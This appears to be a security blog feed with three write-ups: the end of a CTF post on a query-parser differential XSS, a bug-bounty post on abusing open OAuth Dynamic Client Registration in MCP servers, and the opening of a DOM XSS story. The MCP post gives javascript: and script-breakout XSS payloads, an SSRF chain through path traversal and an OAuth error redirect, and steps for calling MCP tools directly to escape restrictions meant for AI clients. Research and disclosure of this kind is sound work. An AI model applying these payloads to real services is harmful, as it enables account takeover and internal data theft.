<li><p>Add <strong>1000 junk parameters</strong> (like <code>&amp;p</code> repeated 1000 times) to exhaust qs</p>
</li>
<li><p>Put the malicious <code>redirect_uri=javascript:alert(origin)</code> <strong>after</strong> the limit</p>
<ul>
<li><p><code>qs</code> never sees it</p>
</li>
<li><p>The browser does</p>
</li>
</ul>
</li>
</ol>
<p>Payload:</p>
<pre><code class="lang-plaintext">/?[redirect_uri]=https://pwnbox.xyz/docs&amp;p&amp;p&amp;p...(×1000)...&amp;p&amp;redirect_uri=javascript:alert(origin)
</code></pre>
<p><strong>What qs sees?</strong></p>
<ul>
<li><p>It processes the first part: <code>[redirect_uri]=https://pwnbox.xyz/docs</code>→ strips brackets → sets <code>redirect_uri</code> to the safe value.</p>
</li>
<li><p>It then processes ~1000 dummy <code>p</code> parameters, filling its parameter budget.</p>
</li>
<li><p>It reaches the parameter limit (1000) and stops reading the query string.</p>
</li>
<li><p>The final <code>redirect_uri=javascript:alert(origin)</code> is <strong>never seen</strong> by qs.</p>
</li>
<li><p>Result: <code>req.query.redirect_uri</code> stays <code>"https://pwnbox.xyz/docs"</code> and backend validation passes.</p>
</li>
</ul>
<p><strong>What the browser sees?</strong></p>
<ul>
<li><p>URLSearchParams reads the entire query string with no limit.</p>
</li>
<li><p>It stores <code>[redirect_uri]</code> literally as the key <code>"[redirect_uri]"</code> (not <code>redirect_uri</code>).</p>
</li>
<li><p>It stores the 1000 <code>p</code> parameters normally (irrelevant).</p>
</li>
<li><p>It eventually reaches <code>redirect_uri=javascript:alert(origin)</code> at the end.</p>
</li>
<li><p><code>.get("redirect_uri")</code> returns the malicious value.</p>
</li>
<li><p>Browser sets <code>location</code> to it → executes <code>javascript:alert(origin)</code> → <strong>XSS achieved</strong>.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770746343326/2fa0ad36-a743-416e-aa28-686c61692a32.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-why-this-matters-in-the-real-world">Why This Matters in the Real World</h2>
<p>You might be thinking: "Cool CTF challenge, but does this pattern actually show up in real applications?"</p>
<p>Yes. More often than you'd expect.</p>
<p>The <code>redirect_uri</code> parameter in our challenge isn't a coincidence; it mirrors real OAuth and SSO implementations. In those flows, the server validates that the redirect URI is on an approved allow-list, then either a server-side redirect or a client-side script handles the actual navigation. If the validation and the redirect use different parsers, the same class of attack applies.</p>
<p>Many modern Single Page Applications have server-side middleware that validates query parameters before the page loads, but the client-side JavaScript reads those same parameters directly from <code>window.location</code> to decide what to render or where to navigate. The server and the client are both looking at the URL, but they might not be reading it the same way.</p>
<p>The core vulnerability in all these cases is a <strong>trust boundary violation</strong>. The server trusts its parser. The client trusts its parser. Nobody checks whether both parsers actually agree. And as we've seen, there are multiple ways for them to disagree. It's not just one quirk you can patch; it's a fundamental problem with the "validate server-side, use client-side" pattern whenever different parsers are involved.</p>
<h2 id="heading-epilogue">Epilogue</h2>
<p>When I designed this challenge, I was mainly thinking about the bracket stripping and parameter limit approach. But when people started finding the <code>]=</code> priority trick, it made the challenge even more interesting. Two completely different techniques, targeting different behaviors of the same library, both achieving the exact same result.</p>
<p>It's a perfect illustration of how parser differentials work in practice. The gap between two parsers isn't a single crack; it's a whole surface of potential disagreements. Each quirk, each special case, each default option that differs between them is a potential entry point.</p>
<p>The next time you're reviewing code, auditing an application, or building something yourself; and you see a backend validation followed by a client-side action on raw input; pause. Take a breath. And ask two questions: <strong>"Do these two parsers agree?"</strong> And if they don't <strong>"In how many ways do they disagree?",</strong> The answers might surprise you.</p>
<p>Happy hunting. 🎯</p>
]]></content:encoded></item><item><title><![CDATA[Shaking the MCP Tree: A Security Deep Dive]]></title><description><![CDATA[AI is moving fast. Companies are racing to connect their services to AI assistants, shipping integrations as quickly as possible to stay ahead. But when speed is the priority, security often gets left behind.
In this post, I'll show you what happens ...]]></description><link>https://blog.voorivex.team/shaking-the-mcp-tree</link><guid isPermaLink="true">https://blog.voorivex.team/shaking-the-mcp-tree</guid><category><![CDATA[mcp]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[Security]]></category><category><![CDATA[oauth]]></category><category><![CDATA[ssrf ]]></category><category><![CDATA[XSS]]></category><dc:creator><![CDATA[Amirmohammad Safari]]></dc:creator><pubDate>Tue, 03 Feb 2026 19:40:07 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1770146912781/a45cf2c5-3885-4092-9811-4c04564acb89.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>AI is moving fast. Companies are racing to connect their services to AI assistants, shipping integrations as quickly as possible to stay ahead. But when speed is the priority, security often gets left behind.</p>
<p>In this post, I'll show you what happens when that tradeoff goes wrong. We'll look at how MCP servers handle authentication, why a feature called Dynamic Client Registration is often left wide open, and how attackers can exploit it. Then I'll walk you through real vulnerabilities I found along the way, from XSS to full-read SSRF. Let's dive in.</p>
<h1 id="heading-understanding-mcp-servers">Understanding MCP Servers</h1>
<p>Before we jump into the fun part (breaking things), let's take a moment to understand what we're actually dealing with. Trust me, once you get this, the attack will feel so much more satisfying!</p>
<h2 id="heading-what-even-is-an-mcp-server">What Even Is an MCP Server?</h2>
<p>MCP stands for Model Context Protocol. Think of it like a middleman between AI and other apps.</p>
<p>Imagine you only speak English, and you need to talk to someone who only speaks Japanese. You'd need a translator, right? That's what MCP does, it translates between AI and apps like Slack, Google Drive, or Salesforce so they can understand each other.</p>
<p>Without MCP, AI assistants are stuck in a bubble. They can read what you type and write back, but they can't reach outside that bubble. They can't check your email, look at your files, or update your to-do list.</p>
<p>With MCP, the bubble pops. Now the AI can actually go out and do things for you.</p>
<h2 id="heading-how-does-it-work">How Does It Work?</h2>
<p>Let's say you ask Claude: "What meetings do I have tomorrow?"</p>
<ol>
<li><p>Claude realizes it needs your calendar data, which it doesn't have</p>
</li>
<li><p>Claude calls the Google Calendar MCP server</p>
</li>
<li><p>The MCP server logs into your calendar, grabs tomorrow's meetings, and organizes the info</p>
</li>
<li><p>It sends everything back to Claude in a format Claude understands</p>
</li>
<li><p>Claude shows you your schedule</p>
</li>
</ol>
<p>You just see the answer. All the behind-the-scenes work happens automatically.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770149481738/4fee948c-b300-43aa-b849-3f5a287b6657.jpeg" alt class="image--center mx-auto" /></p>
<h2 id="heading-how-do-mcp-servers-handle-authentication">How Do MCP Servers Handle Authentication?</h2>
<p>Okay, here's where things start to get spicy. Most MCP servers use OAuth 2.0 for authentication. That's totally normal and expected. But here's the fun part: a lot of them leave <strong>Dynamic Client Registration wide open</strong>.</p>
<p>What does that mean? Anyone can register as an OAuth client. No approval process. No verification. Just automatic access. Why would they do this? Flexibility. They want any AI tool to connect quickly and easily, without jumping through hoops.</p>
<p>But as we all know, when convenience beats security... hackers get happy!</p>
<h2 id="heading-dynamic-client-registration-the-unlocked-door">Dynamic Client Registration: The Unlocked Door</h2>
<p>This is important, so let's break it down. Understanding this will make the attacks later make way more sense.</p>
<h3 id="heading-the-old-school-way">The Old-School Way</h3>
<p>Traditionally, if you wanted to become an OAuth client, you had to go through a manual process. You'd fill out forms, maybe wait for someone to review your application, and eventually get your <code>client_id</code> and <code>client_secret</code>.</p>
<p>The service provider knows exactly who you are. They control which redirect URIs you can use. They can kick you out anytime they want.</p>
<p>Is it annoying? Yes. Is it slow? Absolutely. But is it secure? You bet.</p>
<h3 id="heading-then-came-rfc-7591">Then Came RFC 7591</h3>
<p>Dynamic Client Registration (DCR) threw all that out the window.</p>
<p>Instead of begging for approval, clients can now register themselves automatically. Just hit the registration endpoint (<code>/register</code>) with a POST request containing your client details:</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"redirect_uris"</span>: [<span class="hljs-string">"https://legit-app.com/callback"</span>],
  <span class="hljs-attr">"client_name"</span>: <span class="hljs-string">"Totally Legit App"</span>,
  <span class="hljs-attr">"token_endpoint_auth_method"</span>: <span class="hljs-string">"none"</span>,
  <span class="hljs-attr">"grant_types"</span>: [<span class="hljs-string">"authorization_code"</span>, <span class="hljs-string">"refresh_token"</span>],
  <span class="hljs-attr">"response_types"</span>: [<span class="hljs-string">"code"</span>]
}
</code></pre>
<p>And just like that, you get a shiny new <code>client_id</code> (and sometimes a <code>client_secret</code> too). No questions asked. No humans involved. Fully automatic.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770211853221/766149e0-2666-4978-b682-6b9cf0471279.png" alt class="image--center mx-auto" /></p>
<p>So, let’s move to detection phase.</p>
<h1 id="heading-detecting-open-dcr-at-scale">Detecting Open DCR at Scale</h1>
<p>Alright, we know what DCR is. But how many MCP servers actually leave it wide open? Time to find out.</p>
<p>Manual testing doesn't scale, so I wrote a Nuclei template to automate the whole discovery process. The idea is simple: send client data to the registration endpoint and report back if it works.</p>
<p>But first – where do we even find these registration endpoints?</p>
<p>OAuth and OIDC servers expose their configuration through well-known URIs. RFC 8414 defines <code>/.well-known/oauth-authorization-server</code> for OAuth 2.0 servers, while OpenID Connect uses <code>/.well-known/openid-configuration</code>. Both return a JSON document containing all the server's endpoints, and if DCR is supported, you'll find a <code>registration_endpoint</code> field sitting right there.</p>
<p>So the template first hits these well-known paths, extracts the <code>registration_endpoint</code> from the response, then fires a POST request with minimal client metadata, just a name, redirect URI, and grant type.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">id:</span> <span class="hljs-string">open-dcr-detection</span>

<span class="hljs-attr">info:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">Open</span> <span class="hljs-string">Dynamic</span> <span class="hljs-string">Client</span> <span class="hljs-string">Registration</span> <span class="hljs-string">Detection</span>
  <span class="hljs-attr">author:</span> <span class="hljs-string">amirmsafari</span>
  <span class="hljs-attr">severity:</span> <span class="hljs-string">info</span>

<span class="hljs-attr">requests:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">method:</span> <span class="hljs-string">GET</span>
    <span class="hljs-attr">path:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"<span class="hljs-template-variable">{{BaseURL}}</span>/.well-known/openid-configuration"</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"<span class="hljs-template-variable">{{BaseURL}}</span>/.well-known/oauth-authorization-server"</span>

    <span class="hljs-attr">stop-at-first-match:</span> <span class="hljs-literal">true</span>
    <span class="hljs-attr">extractors:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">type:</span> <span class="hljs-string">json</span>
        <span class="hljs-attr">name:</span> <span class="hljs-string">registration_endpoint</span>
        <span class="hljs-attr">internal:</span> <span class="hljs-literal">true</span>
        <span class="hljs-attr">json:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">".registration_endpoint"</span>

  <span class="hljs-bullet">-</span> <span class="hljs-attr">method:</span> <span class="hljs-string">POST</span>
    <span class="hljs-attr">path:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"<span class="hljs-template-variable">{{registration_endpoint}}</span>"</span>

    <span class="hljs-attr">headers:</span>
      <span class="hljs-attr">Content-Type:</span> <span class="hljs-string">application/json</span>

    <span class="hljs-attr">body:</span> <span class="hljs-string">|
      {
        "client_name": "Example App",
        "redirect_uris": ["https://example.com/callback"],
        "grant_types": ["authorization_code"],
        "response_types": ["code"]
      }
</span>
    <span class="hljs-attr">matchers:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">type:</span> <span class="hljs-string">status</span>
        <span class="hljs-attr">status:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-number">200</span>
          <span class="hljs-bullet">-</span> <span class="hljs-number">201</span>

      <span class="hljs-bullet">-</span> <span class="hljs-attr">type:</span> <span class="hljs-string">word</span>
        <span class="hljs-attr">part:</span> <span class="hljs-string">header</span>
        <span class="hljs-attr">words:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"application/json"</span>

      <span class="hljs-bullet">-</span> <span class="hljs-attr">type:</span> <span class="hljs-string">word</span>
        <span class="hljs-attr">part:</span> <span class="hljs-string">body</span>
        <span class="hljs-attr">words:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"client_id"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769953889883/956b79bf-662e-4d13-bbab-5a636a677af4.png" alt class="image--center mx-auto" /></p>
<p>Now it’s time to manually exploit each of findings.</p>
<h1 id="heading-hunting-for-bugs-in-open-dcr-endpoints">Hunting for Bugs in Open DCR Endpoints</h1>
<p>Now let's get into the good stuff, finding vulnerabilities!</p>
<p>Quick note: the attack techniques I'm about to show you aren't brand new. People have been poking at Open DCR and authorization servers for years. PortSwigger wrote a <a target="_blank" href="https://portswigger.net/research/hidden-oauth-attack-vectors">great article about this back in 2021 if you want some background reading</a>.</p>
<p>So what's different now? MCP servers. They've made these DCR endpoints way more common, which means more targets and better chances of finding something juicy. Here are some vulnerabilities I discovered during my hunt.</p>
<h2 id="heading-client-side-redirect-gadget-dom-based-xss">Client-Side Redirect Gadget, DOM-Based XSS</h2>
<p>Once your client is registered with the authorization server, you now have your <code>client_id</code> and <code>client_secret</code>. The next step is the <strong>authorization endpoint</strong>, which handles three key responsibilities:</p>
<ol>
<li><p><strong>Authenticates the user</strong>: verifies their identity, typically through a login form</p>
</li>
<li><p><strong>Shows a consent screen</strong>: prompts the user to approve the requested permissions (if required)</p>
</li>
<li><p><strong>Redirects back to your application</strong>: sends the user to your registered <code>redirect_uri</code> with an authorization code</p>
</li>
</ol>
<p>The diagram below illustrates this complete flow:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770127253558/94e3ac20-6089-4a08-922f-2f59efcce16c.jpeg" alt class="image--center mx-auto" /></p>
<p>Here's the key question: <em>How does that final redirect from user to client happens?</em></p>
<p>If the server handles the redirect on the client side (using JavaScript), we might have a problem. Why? Because maybe we can register a client with a <code>javascript:</code> scheme as the redirect URI!</p>
<h3 id="heading-the-attack"><strong>The Attack</strong></h3>
<ol>
<li><p>Register a client with <code>javascript:alert(location.origin);//</code> as the redirect URI</p>
</li>
<li><p>Send a victim to the authorization URL:</p>
</li>
</ol>
<pre><code class="lang-plaintext">https://mcp.company.tld/authorize
    ?response_type=code
    &amp;client_id=&lt;client_id&gt;
    &amp;redirect_uri=javascript:alert(location.origin);//
    &amp;scope=read+write
    &amp;state=random
    &amp;code_challenge=&lt;code_challenge&gt;
    &amp;code_challenge_method=S256
</code></pre>
<ol start="3">
<li>Once the user completes authorization, the app tries to redirect them back to the client. But instead of a normal URL, it triggers our JavaScript payload</li>
</ol>
<p>Some applications try to be smart about this. They extract the hostname from the URL and validate it. But I use this payload to bypass them:</p>
<pre><code class="lang-plaintext">javascript://pwnbox.xyz/%0aalert(location.origin);//
</code></pre>
<p>This tricks the validator into thinking <code>pwnbox.xyz</code> is the hostname, but the browser still executes our JavaScript.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769955044697/bb73f0db-872f-4c78-b464-241862a90fe0.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-oauth-consent-screen-gadget-stored-xss">OAuth Consent Screen Gadget, Stored XSS</h2>
<p>You know that screen that pops up asking "Do you want to allow this app to access your account?" That's the OAuth consent screen, and it's a goldmine for XSS hunters.</p>
<p>The consent screen usually displays information about the client requesting access: the app name, logo, description, and sometimes the redirect URI. All of this data comes from the client registration we control!</p>
<p>While exploring different authorization servers, I stumbled upon one that reflected the <code>redirect_uri</code> directly inside a <code>&lt;script&gt;</code> tag on the consent page.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770212177600/6b55509f-0de5-434e-9e11-74b2549d7730.png" alt class="image--center mx-auto" /></p>
<p>My eyes lit up. If I can inject into a script tag, I can break out of it! I registered a client with this redirect URI:</p>
<pre><code class="lang-plaintext">https://pwnbox.xyz/mcp/&lt;/script&gt;&lt;script&gt;alert(location.origin)&lt;/script&gt;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769959536584/0a369e32-872e-4cbf-8d41-b6a3c7a5584a.png" alt class="image--center mx-auto" /></p>
<p>The <code>&lt;/script&gt;</code> closes the existing script tag, and then my payload executes.</p>
<h2 id="heading-missing-or-confusing-consent-screen-oauth-misuse">Missing or Confusing Consent Screen, OAuth Misuse</h2>
<p>The consent screen we mentioned earlier? Some authorization servers just skip it entirely or don't mention the client information.</p>
<p>During my research, I found <em>a</em> lot of authorization servers that don't show any consent screen at all. Here's what happens:</p>
<ol>
<li><p>User clicks a authorize link</p>
</li>
<li><p>They authenticate with their credentials</p>
</li>
<li><p>The server immediately redirects them to the <code>redirect_uri</code>, no questions asked</p>
</li>
</ol>
<p>See the issue? The user never gets a chance to see <em>which</em> application is requesting access. They just log in and their authorization code gets sent straight to wherever we specified.</p>
<p>If an attacker registers a malicious client with their own <code>redirect_uri</code>, they can trick users into giving up account access with just one click. The victim thinks they're logging into something legitimate, but their auth code ends up in the attacker's hands.</p>
<p>Even when consent screens <em>do</em> exist, some of them are so vague or confusing that users have no idea what they're actually approving. If the screen doesn't clearly show which client is requesting access, it's almost as bad as having no screen at all.</p>
<p>(If you want to dive deeper into this type of attack, <a target="_blank" href="https://blog.sicks3c.io/research/ato-via-open-mcp-dcr/">this blog post</a> covers it really well!)</p>
<h2 id="heading-other-attack-vectors-worth-trying">Other Attack Vectors Worth Trying</h2>
<p>Like I mentioned earlier, open DCR in authorization servers is a well-known attack surface. Security researchers have been poking at this stuff for years, and there's a ton of great content out there if you want to go deeper.</p>
<p>Here are some other attack types you might want to try on your targets:</p>
<ul>
<li><p><strong>CSRF on the consent page</strong> – Can you trick users into approving authorization requests without realizing it?</p>
</li>
<li><p><strong>SSRF via the</strong> <code>logo_uri</code> field – When you register a client, you can specify a logo URL. What if the server fetches that image from an internal network?</p>
</li>
<li><p><strong>Session poisoning to steal authorization codes</strong> – Messing with session handling to hijack code from legitimate client</p>
</li>
</ul>
<p>Unfortunately, I didn't have any luck finding these vulnerabilities on the authorization servers I tested. But hey that doesn't mean they're not out there! So go ahead, read up on these techniques, and try them on your targets. You might have better luck than me ;)</p>
<h1 id="heading-going-beyond-authentication-attacks">Going Beyond Authentication Attacks</h1>
<p>So far, we've focused on hijacking tokens and stealing user sessions. But open DCR in MCP servers opens up another interesting avenue worth exploring.</p>
<h2 id="heading-direct-access-to-the-mcp-server">Direct Access to the MCP Server</h2>
<p>If we can register our own OAuth client, we can complete the full authentication flow ourselves:</p>
<ol>
<li><p>Register a client with our <code>redirect_uri</code></p>
</li>
<li><p>Get the authorization code</p>
</li>
<li><p>Exchange that code for an access token</p>
</li>
<li><p>Connect directly to the MCP server as a legitimate client</p>
</li>
</ol>
<p>So why does this matter?</p>
<h2 id="heading-mcp-servers-werent-built-to-handle-attackers">MCP Servers Weren't Built to Handle Attackers</h2>
<p>MCP servers are designed to interact with AI assistants, not humans probing them manually. Developers often assume that AI clients will behave predictably and follow the intended usage patterns.</p>
<p>For example, look at this tool from an MCP server that imports projects from a URL. Notice how it instructs the AI not to use local links:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769968466406/a65873f4-a5f3-40fd-acb0-925f71b3b230.png" alt class="image--center mx-auto" /></p>
<p>These instructions work fine for AI assistants that follow rules. But as direct users of the MCP server, we're not bound by these guidelines. We can call any tool and provide whatever input we choose, including inputs the developers never anticipated.</p>
<p>Even when token hijacking fails due to the server restricting redirect URIs to specific domains, this technique remains useful. During my research, I found an authorization server for an MCP integration that only allowed <code>chatgpt.com</code> as a redirect URI. I couldn't register my own redirect_uri. However, I could still register a client with the allowed <code>chatgpt.com</code> URI, initiate the auth flow, capture the authorization code from the redirect, and exchange it for an access token myself.</p>
<p>The result? Direct access to the MCP server which is designed only for ChatGPT. From there, I could interact with all the available tools and methods without any AI-imposed restrictions.</p>
<h2 id="heading-connect-to-a-mcp-server">Connect To A MCP Server</h2>
<p>Once authentication is complete and you're redirected back to the client, you'll have an authorization code. The next step is exchanging that code for an access token.</p>
<h3 id="heading-step-1-exchange-the-code-for-an-access-token">Step 1: Exchange the Code for an Access Token</h3>
<p>Send the following request to the token endpoint, filling in your registered client details:</p>
<pre><code class="lang-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/oauth/token</span> HTTP/2
<span class="hljs-attribute">Host</span>: mcp.company.tld
<span class="hljs-attribute">Content-Type</span>: application/x-www-form-urlencoded
<span class="hljs-attribute">Content-Length</span>: 296

<span class="solidity">grant_type<span class="hljs-operator">=</span>authorization_code
<span class="hljs-operator">&amp;</span>code<span class="hljs-operator">=</span><span class="hljs-operator">&lt;</span>code<span class="hljs-operator">&gt;</span>
<span class="hljs-operator">&amp;</span>redirect_uri<span class="hljs-operator">=</span><span class="hljs-operator">&lt;</span>redirect_uri<span class="hljs-operator">&gt;</span>
<span class="hljs-operator">&amp;</span>client_id<span class="hljs-operator">=</span><span class="hljs-operator">&lt;</span>client_id<span class="hljs-operator">&gt;</span>
<span class="hljs-operator">&amp;</span>code_verifier<span class="hljs-operator">=</span>random
<span class="hljs-operator">&amp;</span>client_secret<span class="hljs-operator">=</span><span class="hljs-operator">&lt;</span>client_secret<span class="hljs-operator">&gt;</span></span>
</code></pre>
<p>A few notes on these parameters:</p>
<ul>
<li><p><code>code</code>: The authorization code you received in the redirect</p>
</li>
<li><p><code>code_verifier</code>: The original random string you generated before creating the <code>code_challenge</code> (this is part of PKCE)</p>
</li>
<li><p><code>client_secret</code>: Include this only if you received one during client registration, some servers don't require it</p>
</li>
<li><p><code>redirect_uri</code>: The client <code>redirect_uri</code></p>
</li>
</ul>
<p>If everything is correct, you'll receive an access token in the response.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770212398268/58fc6304-c12c-45f5-9bf8-16f09eb13aae.jpeg" alt class="image--center mx-auto" /></p>
<h3 id="heading-step-2-install-mcp-inspector">Step 2: Install MCP Inspector</h3>
<p>Now that you have an access token, you can connect to the MCP server using a tool called MCP Inspector. This tool provides a user-friendly interface for interacting with MCP servers directly.</p>
<p>Install and run it with the following command:</p>
<pre><code class="lang-bash">npx -y @modelcontextprotocol/inspector npx @playwright/mcp@latest
</code></pre>
<p>This will start a local web interface, typically available at <code>http://localhost:6274</code></p>
<h3 id="heading-step-3-configure-the-connection">Step 3: Configure the Connection</h3>
<p>In the MCP Inspector panel, you'll need to configure the following settings:</p>
<ol>
<li><p><strong>MCP Server URL</strong>: Enter the full URL of the MCP endpoint. Common paths include:</p>
<ul>
<li><p><code>/mcp</code> – for Streamable HTTP transport</p>
</li>
<li><p><code>/sse</code> – for Server-Sent Events transport</p>
</li>
</ul>
</li>
<li><p><strong>Transport Type</strong>: Select the appropriate transport based on the endpoint:</p>
<ul>
<li><p>Choose <strong>Streamable HTTP</strong> if the endpoint uses <code>/mcp</code></p>
</li>
<li><p>Choose <strong>SSE</strong> if the endpoint uses <code>/sse</code></p>
</li>
</ul>
</li>
<li><p><strong>Authentication</strong>: MCP servers typically use Bearer token authentication. In the authentication header field, enter:</p>
<pre><code class="lang-bash"> Bearer &lt;your_access_token&gt;
</code></pre>
</li>
<li><p>Click <strong>Connect</strong> to establish the connection.</p>
</li>
</ol>
<h3 id="heading-step-4-explore-the-tools">Step 4: Explore the Tools</h3>
<p>Once connected, navigate to <strong>Tools → List Tools</strong> to see all available tools and their expected inputs. You can browse through them and test each one directly.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770005300226/5cdf8a68-ebf7-418c-8e4d-60802051903e.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-discovering-a-full-read-ssrf-vulnerability">Discovering a Full-Read SSRF Vulnerability</h1>
<p>So there I was, poking around an MCP server and loading up its tools, when one particular tool caught my eye. This little guy takes a document URL, fetches it, converts the response to Markdown, and hands it back to you. Neat, right? Naturally, my first thought was: “<em>Can I make it fetch my site?</em>” Classic SSRF vibes.</p>
<h2 id="heading-first-attempt-the-easy-way">First Attempt: The Easy Way</h2>
<p>I tried pointing it at my own domain to see what would happen. No luck, it spat back this error:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770210072805/0a97230b-0e64-4acd-87a3-c2a9a8e23889.png" alt class="image--center mx-auto" /></p>
<p>Okay, fair enough. The server was being picky about which URLs it would accept.</p>
<h2 id="heading-finding-the-rules">Finding the Rules</h2>
<p>Next, I tried a legitimate document URL from the target website, something like:</p>
<pre><code class="lang-plaintext">https://company.tld/documents/{document-id}
</code></pre>
<p>This worked! So I started figuring out the rules. Turns out, the server had a strict whitelist that only allowed URLs matching <code>https://company.tld/documents/.*</code>. I tried a bunch of tricks to bypass the domain check, but nothing worked. This thing was locked down tight.</p>
<h2 id="heading-the-path-normalization-trick">The Path Normalization Trick</h2>
<p>At this point, the only thing on my mind was: <em>"I need to find an open redirect somewhere on this website."</em> If I could find one, I could chain it with the SSRF to redirect requests to any host I wanted.</p>
<p>But here's the problem, I was stuck inside the <code>/documents</code> path. Finding an open redirect in the documentation section is so hard or even impossible. So What if I could escape the <code>/documents</code> folder first?</p>
<p>I tested whether the server handles path normalization differently than it validates URLs. I crafted this payload:</p>
<pre><code class="lang-plaintext">https://company.tld/documents/..%2Fdocuments%2F{document-id}%23
</code></pre>
<p>And it worked! The server loaded the same content as before. This confirmed I could use <code>../</code> to climb out of the <code>/documents</code> folder and access other parts of the website. Now the whole site was my playground, and finding an open redirect became way easier.</p>
<h3 id="heading-dynamic-client-registration-my-secret-weapon">Dynamic Client Registration: My Secret Weapon</h3>
<p>Here's where things get fun. I needed an open redirect, and OAuth's dynamic client registration feature gave me exactly that.</p>
<p>According to RFC 6749 (Section 4.1.2.1), when an OAuth request fails, the authorization server redirects the user back to the client's <code>redirect_uri</code> with an error message. Something like:</p>
<pre><code class="lang-plaintext">HTTP/1.1 302 Found
Location: https://client.example.com/cb?error=access_denied&amp;state=xyz
</code></pre>
<p>The key insight? I could register a new OAuth client with <em>any</em> <code>redirect_uri</code> I wanted, including my own server. Then, by triggering an error, I'd get a open redirect!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770210284719/55f09ff6-71df-4339-a495-e5f72e36d14a.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770210492507/f9b2866f-e512-4651-a62d-2d36c94ec33e.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-putting-it-all-together">Putting It All Together</h3>
<p>Now I had all the pieces. I combined the path normalization bypass with my open redirect gadget to create this payload:</p>
<pre><code class="lang-plaintext">https://company.tld/documents/..%2Fredacted%2Fauthorize%3Fresponse_type=code%26client_id=&lt;CLIENT_ID&gt;%26redirect_uri=https%253A%252F%252Fpwnbox.xyz%252Fmcp%252F%23
</code></pre>
<p>This made the server:</p>
<ol>
<li><p>Accept the URL (because it starts with the whitelisted path)</p>
</li>
<li><p>Normalize the path and hit the OAuth endpoint</p>
</li>
<li><p>Follow the redirect to my server</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770210664841/668c5378-28f0-4642-906a-4ab831dce541.png" alt class="image--center mx-auto" /></p>
<p>Full SSRF achieved! After that I redirect server to the localhost and did some port scanning and discovered an application running on port 8080. Even better, it had a Swagger API endpoint, and I could read all the client data through it!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770210889482/0136f9ea-8d3b-4732-91a5-1658100d690a.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>MCP servers sit at a critical point between AI and the real world. They handle authentication, manage permissions, and give AI assistants the power to take real actions. That responsibility comes with risk.</p>
<p>Open Dynamic Client Registration was designed for flexibility, but as we've seen, it opens the door to XSS, token theft, SSRF, and direct access to tools that were never meant for manual interaction. The vulnerabilities are there – waiting to be found.</p>
<p>If you're building these integrations, think carefully about who can register as a client and what they can access. And if you're a security researcher, MCP servers are fresh ground worth exploring. Start shaking those trees.</p>
<p>Happy hacking!</p>
]]></content:encoded></item><item><title><![CDATA[DOM XSS to Account Takeover: Not-So-Dirty Dancing in GIS SDK]]></title><description><![CDATA[It was just another bug hunting session on a public program. The scope wasn't huge - only a couple of domains to work with - but that's often where you find the best bugs. I had been grinding on this ]]></description><link>https://blog.voorivex.team/not-so-dirty-dancing-in-gis-sdk</link><guid isPermaLink="true">https://blog.voorivex.team/not-so-dirty-dancing-in-gis-sdk</guid><category><![CDATA[OAuth2]]></category><category><![CDATA[XSS]]></category><category><![CDATA[account takeover]]></category><category><![CDATA[exploit]]></category><dc:creator><![CDATA[HamidSj]]></dc:creator><pubDate>Sun, 07 Dec 2025 17:28:09 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1765038520741/900c4e27-984d-49a5-b986-684bbb0fe2ea.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>It was just another bug hunting session on a public program. The scope wasn't huge - only a couple of domains to work with - but that's often where you find the best bugs. I had been grinding on this program for about 8 hours total, with roughly 6 of those hours focused on one specific domain that caught my attention.</p>
<p>While reading through the login page's JavaScript code, I noticed a query parameter called <code>rUrl</code> being used in a <code>location.href</code> assignment sink. I started testing it with a legitimate URL <a href="https://target.com/blahblah"><code>https://target.com/blahblah</code></a> and worked my way up, making minimal changes each time. Custom schemes, different hosts, modified pathnames - everything seemed to work. Pretty straightforward, right?</p>
<p>Well, not quite. As soon as I tried using <code>javascript:</code> as the URL scheme, I hit a wall. There was a custom WAF blocking it - not your typical Cloudflare or Akamai setup, but something the target had built themselves. I threw every bypass payload I knew at it, but this WAF wasn't budging. Just when I was getting frustrated and about to reach out to some friends for help, something caught my eye. A couple of lines before the sink, there was a replace function stripping out <code>/&lt;&gt;'"\./</code> from the <code>rUrl</code> parameter.</p>
